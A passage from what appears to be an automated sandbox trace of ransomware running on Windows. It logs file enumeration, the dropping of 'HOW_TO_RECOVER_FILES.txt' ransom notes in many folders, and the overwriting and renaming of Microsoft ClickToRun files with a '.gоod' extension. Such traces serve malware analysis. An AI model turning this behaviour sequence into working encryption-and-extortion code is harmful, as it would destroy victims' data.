ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.090] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0070.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0070.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0070.091] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0070.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0070.091] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\adobe\\arm\\reader_15.023.20070\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0070.091] GetFileType (hFile=0x764) returned 0x1 [0070.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0070.091] GetFileType (hFile=0x764) returned 0x1 [0070.092] WriteFile (in: hFile=0x764, lpBuffer=0x3257c08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x3257c08*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0070.093] CloseHandle (hObject=0x764) returned 1 [0070.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0070.093] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\S", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\S", lpFilePart=0x0) returned 0x1a [0070.093] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\S\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0070.094] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0070.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0070.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0070.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0070.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0070.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0070.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0070.099] CloseHandle (hObject=0x764) returned 1 [0070.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbb70) returned 1 [0070.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbae0) returned 1 [0070.100] CloseHandle (hObject=0x764) returned 1 [0070.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc5a0) returned 1 [0070.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc510) returned 1 [0070.101] CloseHandle (hObject=0x764) returned 1 [0070.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0070.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc5e0) returned 1 [0070.104] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Application Data\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fc080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Application Data\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x38 [0070.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc5a0) returned 1 [0070.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc510) returned 1 [0070.330] WriteFile (in: hFile=0x760, lpBuffer=0x31afa78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fc668, lpOverlapped=0x0 | out: lpBuffer=0x31afa78*, lpNumberOfBytesWritten=0x10fc668*=0x5d0, lpOverlapped=0x0) returned 1 [0070.331] CloseHandle (hObject=0x760) returned 1 [0070.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0070.331] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Comms\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0070.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0070.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0070.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0070.333] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Comms\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0070.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0070.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0070.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc5a0) returned 1 [0070.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc510) returned 1 [0070.338] WriteFile (in: hFile=0x760, lpBuffer=0x31c0508*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fc668, lpOverlapped=0x0 | out: lpBuffer=0x31c0508*, lpNumberOfBytesWritten=0x10fc668*=0x5d0, lpOverlapped=0x0) returned 1 [0070.339] CloseHandle (hObject=0x760) returned 1 [0070.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0070.340] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Desktop\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0070.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc5e0) returned 1 [0070.342] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Desktop\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fc080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Desktop\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2f [0070.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc5a0) returned 1 [0070.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc510) returned 1 [0070.344] CloseHandle (hObject=0x760) returned 1 [0070.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0070.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc5e0) returned 1 [0070.346] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Documents\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fc080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Documents\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0070.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc5a0) returned 1 [0070.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc510) returned 1 [0070.350] CloseHandle (hObject=0x760) returned 1 [0070.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0070.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0070.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0070.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0070.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0070.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0070.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0070.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0070.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0070.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0070.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0070.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0070.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0070.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0070.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0070.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0070.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0070.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0070.353] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\AppV\\Setup\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\AppV\\Setup\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0070.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0070.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0070.354] CloseHandle (hObject=0x760) returned 1 [0070.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbb70) returned 1 [0070.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbae0) returned 1 [0070.355] CloseHandle (hObject=0x760) returned 1 [0070.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0070.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0070.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0070.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0070.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0070.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0070.356] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml", nBufferLength=0x105, lpBuffer=0x10fb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml", lpFilePart=0x0) returned 0x3a [0070.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb9b0) returned 1 [0070.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb970) returned 1 [0070.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb860) returned 1 [0070.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb7d0) returned 1 [0070.358] CloseHandle (hObject=0x760) returned 1 [0070.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb860) returned 1 [0070.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb7d0) returned 1 [0070.689] CloseHandle (hObject=0x6b4) returned 1 [0070.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb970) returned 1 [0070.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb930) returned 1 [0070.689] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml.gоod")) returned 1 [0070.690] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml", nBufferLength=0x105, lpBuffer=0x10fb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml", lpFilePart=0x0) returned 0x3a [0070.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb9b0) returned 1 [0070.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb970) returned 1 [0070.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb860) returned 1 [0070.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb7d0) returned 1 [0070.694] CloseHandle (hObject=0x6b4) returned 1 [0070.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb860) returned 1 [0070.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb7d0) returned 1 [0070.707] CloseHandle (hObject=0x6b4) returned 1 [0070.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb970) returned 1 [0070.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb930) returned 1 [0070.707] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml.gоod")) returned 1 [0070.707] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml", nBufferLength=0x105, lpBuffer=0x10fb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml", lpFilePart=0x0) returned 0x3a [0070.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb9b0) returned 1 [0070.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb970) returned 1 [0070.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb860) returned 1 [0070.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb7d0) returned 1 [0070.882] CloseHandle (hObject=0x6b4) returned 1 [0070.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb860) returned 1 [0070.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb7d0) returned 1 [0070.896] CloseHandle (hObject=0x6b4) returned 1 [0070.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb970) returned 1 [0070.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb930) returned 1 [0070.896] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml.gоod")) returned 1 [0070.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0070.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0070.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0070.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0070.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0070.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0070.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0070.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0070.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0070.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0070.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0070.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0070.902] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0070.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0070.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0070.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0070.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0070.907] CloseHandle (hObject=0x6b4) returned 1 [0070.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0070.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0070.912] CloseHandle (hObject=0x6b4) returned 1 [0070.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0070.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0070.928] CloseHandle (hObject=0x6b4) returned 1 [0070.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0070.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0070.928] CloseHandle (hObject=0x6b4) returned 1 [0070.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa510) returned 1 [0070.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa4d0) returned 1 [0070.929] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml.gоod")) returned 1 [0070.929] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0070.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0071.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0071.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0071.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0071.169] CloseHandle (hObject=0x6b4) returned 1 [0071.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0071.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0071.171] CloseHandle (hObject=0x6b4) returned 1 [0071.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0071.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0071.486] CloseHandle (hObject=0x6b4) returned 1 [0071.486] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0071.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0071.486] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0071.486] GetFileType (hFile=0x6b4) returned 0x1 [0071.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0071.486] GetFileType (hFile=0x6b4) returned 0x1 [0071.486] WriteFile (in: hFile=0x6b4, lpBuffer=0x3135ba8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10fa5d8, lpOverlapped=0x0 | out: lpBuffer=0x3135ba8*, lpNumberOfBytesWritten=0x10fa5d8*=0x1010, lpOverlapped=0x0) returned 1 [0071.487] CloseHandle (hObject=0x6b4) returned 1 [0071.512] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0071.512] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.gоod", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.gоod", lpFilePart=0x0) returned 0x6f [0071.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa510) returned 1 [0071.512] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x10fa5f0 | out: lpFileInformation=0x10fa5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x26d7870a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd77d4)) returned 1 [0071.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa4d0) returned 1 [0071.512] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat.gоod")) returned 1 [0071.513] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0071.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0071.513] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b4 [0071.513] GetFileType (hFile=0x6b4) returned 0x1 [0071.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0071.513] GetFileType (hFile=0x6b4) returned 0x1 [0071.514] WriteFile (in: hFile=0x6b4, 